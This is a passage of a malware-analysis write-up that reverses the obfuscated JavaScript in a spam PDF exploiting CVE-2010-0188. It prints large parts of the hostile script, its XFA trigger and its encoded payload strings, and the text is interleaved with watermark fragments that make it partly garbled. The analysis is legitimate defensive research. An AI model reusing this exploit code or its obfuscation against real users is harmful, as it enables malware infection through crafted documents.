Sie sind auf Seite 1von 39

htt

p:/

/ww

w.s

yn

By: http://www.synapse-labs.com malware.reversing@synapse-labs.com

ap

Reversing step by step of cve-2010-0188 javascript(Pdfka) things they never told you

se -l

ab

s.c om

Introduction:

Start: 1- The PDF While cleaning a mailbox we discovered a spam email with a pdf file called: OrderN25031192.pdf

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

This document focuses 100% on reversing the malicious java script only reversing the binaries or the shellcode wasnt the aim behind building this document.

Scanning it Via Virustotal gave the below results

So we just decided to look inside it and see whats really happening:

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

<< /Length 12960

/DecodeParms [ /Predictor 12 /Colors 1 /BitsPerComponent 8 /Columns 1 >> This looks like a huge object FlateEncoded inside the pdf file, so after a simple FlateDecode we

htt

p:/

/Filter [ /FlateDecode ]

/ww

By running pdf-parser we haven't found clear text or suspicious content. we noticed some encoded portions that caught our attention object number 90: Type: /EmbeddedFile Referencing: Contains stream [(1, '\n'), (2, '<<'), (1, '\n'), (2, '/Length'), (1, ' '), (3, '12960'), (1, '\n'), (2, '/Filter'), (1, ' '), (2, '['), (1, ' '), (2, '/FlateDecode'), (1, ' '), (2, ']'), (1, '\n'), (2, '/DecodeParms'), (1, ' '), (2, '['), (2, '<<'), (2, '/Predictor'), (1, ' '), (3, '12'), (1, ' '), (2, '/Colors'), (1, ' '), (3, '1'), (1, ' '), (2, '/BitsPerComponent'), (1, ' '), (3, '8'), (1, ' '), (2, '/Columns'), (1, ' '), (3, '1'), (2, '>>'), (2, ']'), (1, '\n'), (2, '/Type'), (2, '/EmbeddedFile'), (1, '\n'), (2, '>>'), (1, '\n')]

w.s

yn

ap

se -l

ab

s.c om

At first sight when opened with Document Viewer we can see a normal pdf document with two pages containing a List of on-line payment service providers like:

found a huge and scary javascript code (lets meet at page 13 after the listing):

function fYZYD1X(){var cn,ca,y,x,v,yu,cs,cr,eb,h,ym,ci,yj,w,cz,d,ey,b,cb,eo,ex,ed,ep;z=0.004;z++;c=[40,20,0,30,70,10,50,60]; y=6282;r=7;r++;q=4639;if(q==27){l={met:5719}}y+=4702;s=0;s=0.009;k='lis';d=fZFU9FO('1SrlhAXTOGDA',5);j=0.0137;j--;b=14842;u=28;u-=0.0136;b=6842;a=1106;a++;f={lab:0}; x= fZFU9FO('siZLAyoaSK6skWRG5pgXKCyncWG2ukbLC1tfUI8umeQC4qlaMH0seSI5wqaME4vfWRAwo bVK60kWOE5pgVK6ytcOGAukYOFzqjXK81pdQK4qiYP90qeRI8wjaQE1siWJAyogSE6skWOA2ogSK6yk cOG2ugYKCyqcUG8umYQC4qiUM80meQI4wiaME0seWIAwohSF60keOI2ogWN7yqcSG4ugYQCyqcX M8umYQC4uiUM80meQI8wjaQE1siWJA0obSI6tkaOB2sgTKAylcXG2upYKC7qcUP8updTE4riVPA0vhS ICwiaOE0seWIAwoiVG6vkaOC2sgaKF1qcVJ3xjYNC2qkUMBvpZTH4slaP93peTL9wqdRH1vkZOD2rgV K9ykcRG2ojYKEyocWG8uoYQF2qkUG81meTD7ulVMG0teYIAwqaSE0vkWOAxoaVG9vkfOJ2ugSN81p cXJ6uiYOCztfUJ82meTD4zlXMD3neWL5wmaME5siWLA4ocVG6zkbRE5sgTNAyrfSG7xkYPF2qhXK8zp cQH7uiZPC0rhUI7zmaRH4sjZND1ohSN60kcOI2ugaKC1ocRJ6ugbOC3thXLBzmhTH4yicME0ueWL9zn dSE3vkWMD1rbVJ9unaOC5tjXK6ysfRGAuoYSC4tdUMBzmdQF4yibMG0seYIAzmaSE6vjWOA5oiSL60 kcOI2ugZKFypcUG2ulYOC0qkXLBzpdTF4ziaMH3peZICwldQE6skZNA1ojSM6zkeOG2wgYKDytcTG8ug YNC2qiUO83mYQF4siaMG0teYIAwqaSE6vjWLA2oiSL60kcOI2ujXNByqcXG5uoYMF0qhUOBzpdQI4zi XMG0ohSI9wqdRH5skWRAzoiSG9ukbOI5sgYNB1pcQG5upYLC6qiXMBvpcQI4wlZMB0peYIBwqaSE8 skZNDzoiSK9xnbOA2ugaKCyscUGAumbPF1qkULBzpbQK4wlZPB0ueWL9znaUE6smWOA4ogSI6ykW RC5rjUKEyqfSG9unYTC3qiUGB0pbQE7riWMG3neQL8wqaOH1sgZND1rbVK61kaOE2ojWK61ocUG8x lYKF2qkUN82meQK4wiUPC3qeSL5wkaUH1vjZLA4ogVJ9vkeOG5tjVKEyqfTJ5uoYMF3tfUO80pcQG4xi dMD0seQLAzlaOH1sgWQD1oaVI60kYRB2qjXNB1ofUJ4xhYSCztiXKBymeQI7vlZPD0ueXICwoaUE6seZ MD0rbVF6ukeRF5tjVKEyqfTJ5uoYQF3tfUO80pdTH4zidMG0seYIDwqaSH4sjWPA5ofSK6sncRD2qjTK8 yscQG8xlbPC4qkUM82meQK4wlXPA3qhTI5woaUE6smWNA4ogSM6ykeOG2wgUKEyqcWG8uoYQC5 qlUN83mgQI4yiaMB3reYIAwqaSE8skWQA2oiSK60kcOI2ujVKCyscUGAumYSC4qkUM82meQK4wicM E0ueWICwoaUE6smWOA4ogSM6ykeOG2wgYKEyqcWG8uoYQC6qiUO80mgQI4yiaMG0seYIAwqaSE 8skWQA2oiSK60kcOI2ugaKCyscUGAumYSC4qkUM80pdQK4wicME0ueWICwqaVE9shZLA4oiSM6yk ZOC2wjYKA1mfPG9ujbPC6qjXJBvmcTE7ribPC0ohVL9zndSH6sjZJA2rgSK9ykaRF2xjXK71qcSJ7unbPF0 tdUMBzmdTH4xlZMG3reYL9wrdQE8seZOA0oeSE9wkeOC5pgUNB1pcTG3xkYKFztdUJ81pcQI4wlZM D3neYIAwqaSE8skZMA2odVJ9wkfOI2ugaKCyscUGAunYOCyqcXM8zmZQK4xiYM90mhWI8wpdPE7v

htt

p:/

/ww

w.s

yn

ap

se -l

function fA26LLZ(m,j) {var d,k;r=20;r=12;o=0.028;k=fZFU9FO('nP9nU6rTDqZAudGUcJ',20);v=null;d=fZFU9FO('3WxtrMljgaZY',3);w=4157; g=0.0087;g++;while(m[d]&lt;j){t=0.0113;t-;n=16;if(n!=null){u=1422}m+=m;p=null;p+=0.004}s=['vex','aby'];m=m[k](0, j);z=0.013;if(z&lt;1891){b='MUCS_7'}c=0;return m}

ab

s.c om

<template xmlns="http://www.xfa.org/schema/xfa-template/2.5/"><subform layout="tb" locale="en_US" name="jeu"><pageSet><pageArea id="mus" name="mus"><contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/><medium long="792pt" short="612pt" stock="default"/></pageArea></pageSet><subform h="756pt" w="576pt" name="bow"><field h="65mm" name="ace" w="85mm" x="53.6501mm" y="88.6499mm"><event activity="initialize" name="arc"><script contentType="application/x-javascript">tax=17;tax--;kas=0;lad=0;lad-=0.0086; var subisartevar = new Function("a", "b", "c","return c.substr(a,b)"); var fuuu = fK546OP(10,14);nee=new Array();hit=28;hit+=5925;vis=app;why=3544;why=7662;sau=6487;sau+=25;fYZYD1X();jag=6384;jag+=16;

m=0.0091;m--;i=2611;i--;

w= fZFU9FO('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

htt

p:/

/ww

w.s

yn

ap

se -l

hWQDzojSE9wkeOC5pgUK61ofSG4xhYMC6thXL80pdTF4ylXPC0qeXIDwnaSH5slWOA0ogSM6skbOE 2qgaK8ykfSGAuibLC0thXLBypeQD4uicPD0peUL8woaSH5sgZLA4ogSM6ykeOG5sgWKDytcTG8ugbO C6qeXH8wpdTH4xlYM90neXL6wqaVH4skWOD1obVK60kcOI2ugaKC1ocUJ6ulYRC7qhUMBypdQC7u lXP93neSICzjdQE7slWRA1ogSE9ykcOI2ogYN8yscWG8xmYMC6qhXJ8umeTG4xlZPD0meUI5wqaMH 1siWQA2reVJ6skbOE2qgaN71pfTG2uobNC6qkUO80pZTG4wiaPD3reZICwoaUE6smWOD1rfVJ9tnYO F5qgWKEyqfTJ7xmYPF3thXL8xpdTD7uiWMF0veVIAwiaRE4sgWQD1rfVJ9wkeOD5sgYKDytfSJ6umYQ F3tgUI82meQK4wicME3oeXI9zmdQE5vjZND1ojVK6ynbOD5tgaNB1pfTG7xlbMF3qeUO80pcQH7uiZ M80reWL6wqaOH4shWIDyrdVF9tkYOI5pjWKDykcTG6unYSC0tgUNBymdQJ4ziZME3qeVL9zlaTE8vjZ NAwrgVJ61keOH2rjUKC1pcWJ7uoYQC6qiUO80pcQI4wlZP90qeYIAwqaSE8skWPA5ofSK9xkcRC2vgW NC1pcQG2xkbQC5teUM8upcTI4qicP90mhULAwiaVH1seZMD1oiSM9xkWRE5ugaN7yqcOJ6xiYKF0th XJ83mhTH7wiXMF0reQLAzndNH1sgWRDxrfSL6wkbRF2ugSNA1pfPJ3uibLC0qcXKBxmbTE7riUPC3qe SICwldSH5smWPA2rdSE9wnZRD2xjXK61ofSJ5xhYQC6qjUMBymeQH7siWPB3seQL8zkaOE0viWQA3 ogSM9ukdOH2xjUKDyocUG9xhYMFzqcUI8ymeTI4sicM90qeXI8wraUH2smWPA0obSK9wkdOC5qjW NC1lfPG4xhbPF4qfUM81mYTG7ulXP90oeYIBwodQH5seWID0oiVF9vnaOA5sjWN9ytfPGAunYQF2qc XK82maQC7uicMF0shVI4zodPE2vfWKA5rbVJ6zkaOE2wjXKEyqcUJ7xmYOC5teUN83mfQL7vlZPE0oh WI6zoaSH2vhZJA5rbSN9unbRF5tjXKA1mcQJ3uobPC3tiXJBvmgTH4vlZMD3neZLAwjdNE9vjZJDxoiVK 6ynbRF5ugYN8ytfUJ7xibMF0qjXI80paQI7sibMG0seYIAwqaSE8skWQA2',11);

ab

s.c om

ej=6511;ej-=8650;

eb = "sin"; if (xfa) { eb=fZFU9FO('rZP7yhUD2laJ8vgSExmVK7sbQ9yhWF7tcTAtiRGzoXN5uhSE0jYH6teNCvkTI1qa O7wfUD2laJBxgTE0mVK3sfQ9yhWF4ncMAtiRGzoXM6wjSF0mYH6peRCvkTI1qZO8wfUD2laJ8vhPE1 mZK3sbQDyhWF4ncLA1iRGzoXM5uiVH0nYL6peNCzkTI1qZO7zlUL2laJ8rhTExmZK6sbQl1nWF4ncLA vjTG7oXM5udSB0jYH6peNCvkTIdqcO7yESr0PYx6Ve3',14); } else {

htt

p:/

/ww

ed="abpve"; if (xfa) { ed=fZFU9FO('o1Csar2hT9u6K5jNAuYH1cNBqYGXeK4JSnsDIdi38TdL0fQ5qVGvgM6lWBwbM1 mRCrcH2hS7sXIxiN9nYDydO3oTEteJ4jU9vhN6kRApbH2nQ5sbH3gL4PYGwfL4mSCR',18); }

w.s

yn

p=0.012;p++;v=fZFU9FO('qZM7t9Q5tbPAxjTFxfTBziVE',15);ez=6870;ez=1077;ee=4084;if(ee&lt;5){ec=7366;ec=1453}ey=5392;er=2052;if(er&lt;7227){eq=['uns','ods'];el=3298;el++}ey+=2809;es=2417;es=0.014;ek=1180;

ap

h = "zorro"; if (xfa) { h=fZFU9FO('wLYxJ7wjdRKe0rgXMD2NjSPD2QhYOC4RiBOr4XkDQtB1obUHAxqdWKCzsfYLE1u haNG3wjcPI5yleRL70ngTM92piVOB4rkXSI80oZSF9xqjUHC3rlWJB7rmYPE9uiax',10); } else {h=h+"fdgf";}

se -l

ab

mO6mQ3kU4gR1iO2mM4jM3hKweLyeIwcMzZJxdHuWEybDscCwWGqYDnXAoW8qV9pT6rQAkS4o O6iS2kP3jN3hNxhIyfLwcIwgGydHxbHwYFvZFtZDqVDrX7rU8mSBmX6nQ8kM4lO4iM2mP3jN3hN0e OydLycKwfG1dGxaEwYGvZFsWAqaAsUEoW8sSApQ6pQ7nQ7kO5lP5jP3gR3iK2hLydLzcMzdJxdHubH vbCvZCqWGqYDqUBrU8pS4mT6oT4kU4iR4iN2eP0jL3dNxeIyiLvfIwfGsaHuaExYIsWFsWFtWArUDoZ8 pSApS6nT7nP4nO8lP5jMyjO3hK5eOyhIxfGweJxaKxbEyYGscCuWGqYDqUCoWBpV5mS6qQ8kU4mO 8iQ2lM7gN0iN1eM1cI1cIzeJxaEuWHubGsbFqWEqSDqXCoQ8sV5mO9mT8kM4pR1iK5iP3gQ0kN1eG 1eL0cMzZGyaCxaHsYAvWFtZBqbAvXBrW8nSBmT6iT8nR7hR1iM2nPzjN0jK0eL1fI0cEzcJxdDxXEsbBs WCoZCtVApX8rR8kV8pS6kQAkP7mR5iS2lM4jL0cN0hJ1dI3fJwYJwdGxZHrYGscCvWEtWAsUBrS8mV7 pU6iT6nO4iO0lO2mM5gO0kNyeNyhI3fGwfGwaIudHrYCvVCoWAqWAsXCoS8sS5mS6pQ6kV4oR2iS2 lM2gJ0iN0eNycLwfIzeJtdDuYHrbFvaCrWEqZAmXArUBnV5mQ6qQ9kS7kR5iK2eP2gQ3dNzhKyaLyfIzb G1dDueExYGvYCoZCqaAoU6rU8sSBmU9nQ2nS7jO2lL2gM7jJ3hK3eKyeI2fJwgGyaIxbHwYEsbFqWFq bAtUFrVBpVAmQ9oQ4nS4mR2lN5fM7jJ0lNyhL1fLzfJwcJuaExXEybFsZFuZBtTAuXBoVBpS9pP6rT8kN 7hO9lP5fPzgQ3iK2hL1fL0cKzaG1dIxbHsbCvWCvZAqYDoUCrS8rSCmU6qQ8kU4mO8iQ2mM4',21); n=['tui','yid'];o=24;if(o!=0){g=1102;g++;t=6807}

s.c om

eb = eb + "dfs" }

ace[cz]=yj;

yg=true;yt=0.004;if(yt&lt;0.0314){yh=null;yh+=0.0218;yp=0;yp-=25}}yv=0.005;yv--}}

function fI2TOIO(n) {var g;j=25;if(j&lt;0.0278){a=16;a+=21;q='dag'}i=19;if(i!=8){o=0.012;o++}u=null;u+=0.012;b=12;b+=23;g

htt

function fRREGPD(qi) {var p,il,it,ie,is,j,g,a,y,id,q,iq;v='_IR4H0';i=3143;i-;q=fZFU9FO('0Qohc4QLF62y',6);u=1634;y=532;b=0.015;if(b==24){x=['bug','gut','zoa'];t=0.029;t--}y=132;h=12;h++;z={auk:25};a=fZFU9FO('vrmdUTG621oe',7);n=8;if(n!=28){w='rev';d=5709;d-}j=8607;s=false;f=0.0071;f-=0.035;j-=415;o=24;o+=7169;m=8979;if(m==0){k=0.001;k-=15;l=16;l=28}g=fZFU9FO('2tslhYYPOGE4',5);r=0;r=30;p=350476;c=6;c++;p+=173812;iv=['any','bey'];ii=6;ii++;iq=32;iu=0.004;iu+=0.024;iq+=32;iy='sY OLQA';qi=fI2TOIO(qi);ib=3706;if(ib>25){ix=11;ix++}it=qi[q]*2;ih=5798;if(ih!=0.004){iz=true}ia=5270 ;ia+=24;ie=fI2TOIO(a);iw=0;iw-=0.0066;id=f8IJN3M(ie,j-it);ij=22;ij--;is=qi+id;io=0.0444;io-;im=0.007;im+=10;is=f8IJN3M(is,p-iq);ik=9;for(il=0;il&lt;y;il++){ig=8740;ig=14;ir=18;nee[il]=is[g](0,is[q]-1)+ie;ip=5;if(ip!=1491){ic=null}}qv=6315;qv+=0.0035;return}

p:/

/ww

w.s

function f0GSSPS(l) {var j,r,g,p,w;m=3756;m++;g=fZFU9FO('zOldXyJD6wrm',7);n=0.034;n=6479;h=5797;p=fZFU9FO('tcQlxhXG5mcRAUiV',14);u=15;u++;w=l[p](u);o=24;o-;r=w[g];i=0.005;if(i!=0.0038){v=3421;v-=7528}j=(r%2)?'0'+w:w;x=0.0017;x-=0.013;return j}

yn

ap

yu=fEMFIIP(cn); ya=0.016;if(ya>6018){yf='lJQz7atdc';yx=0.024;yx-=9}ym=fGXIMA0(yu);yi=2427;yi--;yw=18;yw=9;fRREGPD(ym);yn=5024;yn+=6146;yo=0;

se -l

eu=29;ea=6;if(ea&lt;0.007){ef=9;ef++}ex=16475;em=3036;em++;ei=null;ex=7174;ew=0.006;en=3400;en=0.046;eo=fZFU9FO('zpnhaWOG',6);eg=8122;eg++;et=5248;if(et!=1400){eh=1554}ep=fZFU9FO('1Q rLhfX0',5);ev=0.005;ev-;cz=fZFU9FO('pSErfN3mU7u8L1kR',18);ce=3401;ce+=13;cc=0.0159;if(cc!=null){cy=0.015;cy=0.022}cr=fVQ3G4Y();cq=6847;cq+=5741;if(cr>=b){cl=12;cl-;cs=v;ck=3538;if(ck>4947){cd=5876}cj=7;cj++;cb=fA26LLZ(eo,y);cu=30;cu-;ca=eb;cf=9;if(cf>13){cx='era'}cm=23;cm--;ci='';cw=0.0172;cw+=0.0156;cn='';co=0.0352;co-;if(cr&lt;ey){cg=14;if(cg&lt;18){ct=0;ct-=0.0095;ch=null}ci=h;cp=3445;cp-=5037;cn=w;cv=3949;cv=4590}else if(cr&lt;ex){yz=30;yz+=6970;ci=ed;ye=0.005;if(ye&lt;8){yc=['fax','sod'];yy=22;yy=10}yr=20;if(yr!=24){yq=0.0043}cn=x;yl=null}ys=['rub','jay'];if(ci[d]){yk=6241;yk=1551;yd=[10,0,20,30];yj=[cs,cb,ca,ci][ep]('');yb=11;yb-=29;

ab

s.c om

='';r=8165;if(r&lt;6522){c=7903;c=25}g=unescape(n);w=20;if(w!=6099){y=8379;y+=28}l=7962;l++;return g} function fZFU9FO(zv,zt) { if (xfa) { return ttt1(zv,zt); } else { return "kkk"; } } function ttt1(zv,zt) { return ttt2(zv,zt); } function ttt2(zv,zt) { return ttt3(zv,zt); } function ttt3(zv,zt) { return ttt4(zv,zt); } function ttt4(zv,zt) { return ttt5(zv,zt); } function ttt5(zv,zt) { return fWUL0YM(zv,zt); }

c=subisartevar(3,4,'DjbindecF');n=0.0034;n+=0.016;u=['wed','spy']; c+=subisartevar(2,3,'dtxOfv5');s=7901;if(s>0.011){l=0.0098;l++}v=16;t=8;t-;x=5086;v+=0;w=0.0118;w--; k=subisartevar(4,4,'hVZQfromBr');y=8432;y--;o=0.004;o--; k+=subisartevar(4,4,'eI_vCharnP');h=0.0148;if(h!=null){a=['lei','wye']} k+=subisartevar(4,4,'D2QaCodej6');f=16;f++;b=0.0115;b-

htt

p:/

function fWUL0YM(zv,zt) { var c,gv,j,gf,zi,r,qd,qe,gm,qf,k,gm,qk,ql,v,qt,gp;p=0.003;p++;q='XYiQBtme';g='seg';z=null;z+=1529;r=121 ;i=7817;i-=0.045;r-=59;d=30;d+=8242;m=28;

/ww

w.s

yn

ap

se -l

ab

s.c om

zd='SGCohyZ'; var freq = 12; //var zi =0; var ddd1 = 0; var ddd2 = 0;

zu=0.0029; if(zu&lt;0.0089) {zs=25} zl=8; zl++;

htt

p:/

crisna.push(String[k]( fO4JVB3(5,4,3,ddd1 + ddd2))) zm=15;if(zm==0){zc=8903;zc-=0.033}zn=0.015;zn--}

/ww

while ((ddd1 + ddd2) == 0) { if (freq &lt; 0.3) { ddd1 = parint(86,3.3,gm); } else { ddd2 = fuuu(gm,(17-1)); } freq = Math.random(); }

w.s

yn

ap

se -l

var crisna = Array(); for(gf=0;gf&lt;qf;gf+=2) {gb=19;gb++;gj=4972;if(gj==8102){zp=0.0152;zp++;zq=6403;zq-}gm=qt[j](gf,2);zz=0.026;zr='rFLMh74RJp';

ab

=7888;j=subisartevar(3,3,'IA7subR8');qp=0.009;if(qp==0.003){qq=null;qq-=0.0405} j+=subisartevar(4,3,'cWkOstrHn'); qg=23;if(qg&lt;7198){qz='eop9LC';qr=26}qi=21;qi--; qd=subisartevar(3,3,'l3elenVj');qm=null;qm+=2461;qc=6298;if(qc&lt;0){qn=0.02;qn=5861;qu=8637;qu+=0.002}qd+=subisartevar(4,3,'O5MpgthsQ');qs=0.004;qs++;ql='0123456789AB CDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';qv=4320;qv--;qt='';qx=2669;qx-;qe='';qw=0.029;qw++;qk=0;qy=7695;qy--;qo=15;if(qo!=23){qh=3494;qh+=21;qa=17;qa=3261}qf=zv[qd];qb=6042;qb--;qj=null;for(gp=0;gp&lt;qf;gp++){gq=1129;gq=5835;gg=21;if(gg!=25){gz=16}qk+=zt;gr=2918;if(gr&lt;15){gi=3428;gi=0.005}gd=0.002;gd++;gm=zv[j](gp,1);gc=23;if(gc>30){gn=0.0127;gn-}gu=0.001;if(gu>null){gs=3758;gs++;gl=0.011;gl++}gv=ql[c](gm);gt=19;gt-;gv+=qk;gx=['bod','ebb','pod'];ge=0.0154;ge++;gv%=r;gw=20;gw+=0.0151;gk=['ana','ops','his'];qt+= ql[j](gv,1);gy=0;gy+=7827;go=22}gh='sSEnWI5_';ga=1327;ga-=1030;

s.c om

return crisna.join(''); }

function parint(cond1,cond2,val) { if (cond1 &gt; 10) return parseInt(val,16); if (cond2 == 123) { return 3; } return 3; } function fO4JVB3(cond1,cond2,cond3,val) { var zzzz = Math.random(); if (zzzz == 34756756) { return 10; } if (xfa) { if (cond1 &gt; cond2) { if (cond2 &gt; cond3) { return val; } } } return 0; }

return parseFloat; }

htt

function fK546OP(cond1,cond2,name) { if (cond1 != cond2) { if (name === undefined) { return parseInt;} }

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

htt

</script></event><ui><imageEdit/></ui></field></subform></subform></template>

p:/

function fEMFIIP(eh) {var n,ef,a,u,c,eu,t;f=22;if(f&lt;22){j=27;j++}u=fZFU9FO('seR8yJWp2ncQArjQEzo9M6uf',14);y=0.0012;if( y==18){w=0.001;w-;q=null}d=25;if(d!=0.008){i=null}a=fZFU9FO('3WxtrMljgaZY',3);m=0.007;m+=16;h=8306;if(h&lt;0){l =0.0086;l-=7390;z=3259;z-=12}c=fZFU9FO('2tslhYYPOGE4',5);x=8385;x=8;n='';o=0.011;if(o!=6){r=2954;r--;g=null;g=22}for(t=0;t&lt;eh[a];t+=2){p=0.021;if(p==0){b=2974;b-=19;s=6974;s-}k=3085;if(k>0){v=0;v+=2616}ef=eh[c](t,2);ee=10;ee++;ej=7696;ej-;eu=parseInt(ef,16);ey=0.006;n+=fCHDY57(2,2,8,String[u](eu));ew=28;if(ew!=null){eq=14;eq++}}ed =0.01;if(ed==29){ei=24;ei--;ea=0.035;ea++}em=0;return n;}

/ww

w.s

m=0;m+=3552;o=0;while(dita[b]&lt;4){a=null;a+=0.015;v='gwoiJKecM';dita+='0';f=29;f++}h=0.018;i f(h&lt;7){q=null;q-=5;u=4305;u--}dita=parseInt(dita,10);c=0.008;if(c>0.0036){k='lug'}return dita}

yn

function fVQ3G4Y(){var g,b,x,z,w;n=null;n=3811;b=fZFU9FO('0Qohc4QLF62y',6);i='lN_odGE2hO';p=16;p++;x=fZFU9FO('3uupnce6WNOHGB', 4);d=8556;d+=5670;g=fZFU9FO('pWEzeL5nUBvYJ2kRBobF0lQhq6',18);s=7;if(s>3669){y=0.0116;y-}r=3258;r-=0.0082;w=fZFU9FO('zoi9RHD2xkgbQqA3',8);l=6524;l-=0.012;j=7198;j=1079;z=vis[g][w]();t=0.0028; var dita = z['split']('.').join('');

ap

se -l

function fGXIMA0(rr) {var w,r,t,l,z;o=7266;o--;r=fZFU9FO('0Qohc4QLF62y',6);p=0.012;p=8331;z=fZFU9FO('lN5mPzkK1fNbhK1fJvgI',21);b=17;if(b&lt;9){q='ban';j={oms:6997}}a=18;if(a!=nul l){n=null;n=6676}l=fZFU9FO('xvsl',5);m=0.0035;m++;d=24;w='';y='sow';c=[16,56,0,24,32,40,8,48];for(t=0;t&lt; rr[r];t+=2){h=0.013;if(h!=1922){s=0.0156;s-;x=14;x+=4167}w+=l;i=null;v='ycR15BTbl';w+=f0GSSPS(rr[z](t+1));k=[0,35,28,7,21,14];w+=f0GSSPS( rr[z](t));u=['mac','six','fud'];f=null;f+=0.0152}g=7865;g--;ro=false;return w}

ab

function f8IJN3M(l,h){var g,b;v=['ami','cos','mew'];b=fZFU9FO('tbRBygXF5odKAzi2G3',14);q=17;if(q>2663){n=16;n+=8082}g=f ZFU9FO('0Qohc4QLF62y',6);a=0.0068;a--;while(l[g]*2&lt;h){j=19;j-;l+=l;p='tar'}d=7019;d+=15;u=true;l=l[b](0, h/2);w=true;o=21;o-=1750;return l}

s.c om
{ }

function fCHDY57(cond1,cond2,cond3,val) {if (cond1 &gt; 0){ var i;for (i=cond2; i &lt; cond3; i++) {while (xfa) return val; } }return "this page is unavailable";} /*json*/

So finally a new day , a new challenge . LET the game begin.

At first sight we deal with: 1- A ton of unneeded code to distract us 2- Some decryption functions 3- Some obfuscated code ( but not for long ) Functions and number of parameters found: Function Name subisartevar fA26LLZ fYZYD1X f0GSSPS fRREGPD fI2TOIO fZFU9FO ttt1 ttt2 ttt3 ttt4 ttt5 fWUL0YM parint fO4JVB3 fK546OP fCHDY57 f8IJN3M fGXIMA0 fVQ3G4Y fEMFIIP

ap yn w.s /ww
21 functions in total

p:/

This is somehow big, so lets try to start from beginning and trace its execution:

htt

se -l
0 1 1 1 2 2 2 2 2 2 2 3 4 3 4 2 1 0 1

ab
3 2

s.c om

We are reverse engineers and a programmers by nature having a source code on hand is a blessing . Lets figure out what this piece of javascript does in details.

Number of Arguments

Wicked, this is somehow easy lets continue with the javascript We can clearly see that the main javascript code is not very big and commented as follows: tax=17; tax--; kas=0; lad=0; lad-=0.0086; var subisartevar = new Function("a", "b", "c","return c.substr(a,b)");

declare our first interesting var, and it's a function that has 3 parameters a,b,c and returns c.substr(a,b) Next we will call our first function and declare our fuuu var:

by passing two integers to the function we will just initialize our var fuuu, so lets take a look and see if the function fK546OP is easy to understand:
